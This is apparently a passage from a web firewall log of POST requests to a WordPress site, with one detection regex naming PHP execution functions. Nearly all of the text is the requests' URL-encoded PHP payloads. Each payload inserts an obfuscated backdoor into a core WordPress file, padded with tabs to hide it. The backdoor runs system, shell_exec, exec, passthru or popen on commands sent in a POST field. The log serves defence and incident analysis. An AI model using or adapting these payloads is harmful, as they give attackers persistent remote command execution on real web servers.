%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\n\nGI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:50","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6037\n\nQX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:53","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm1.%2524itm7.%2524itm8%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2524itm9%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm10.%2524itm11.%2527745%2527.%2524itm12.%25276f6%2527.%2527e74%2527.%2527656%2527.%2527e74%2527%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%252736c%2527.%2524itm13.%2524itm14%2529%253B%2524dataflow_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527.%2524itm15.%2527616%2527.%252766c%2527.%2524itm13.%2524itm16.%2527656%2527.%2524itm17.%2527696%2527.%2527e65%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dataflow_engine%255D%2529%2529%257B%2524dataflow_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dataflow_engine%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524dataflow_engine%252C%2524dchunk_comp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_comp%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524dataflow_engine%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524flag_elem%253D%2524publish_content5%2528%2524dataflow_engine%252C%2522r%2522%2529%253Bif%2528%2524flag_elem%2529%257B%2524holder_descriptor%253D%2524publish_content6%2528%2524flag_elem%2529%253B%2524publish_content7%2528%2524flag_elem%2529%253Bprint%2520%2524holder_descriptor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJT8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6037\n\nXo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status413.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%252756d%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527468%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527656%2527%253B%2524itm10%2520%253D%2520%25275f6%2527%253B%2524itm11%2520%253D%2520%2527765%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f7%2527%253B%2524itm14%2520%253D%2520%2527365%2527%253B%2524itm15%2520%253D%2520%2527174%2527%253B%2524itm16%2520%253D%2520%252775f%2527%253B%2524itm17%2520%253D%2520%2527e67%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1.%2524itm2.%2527746%2527.%2524itm3%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524it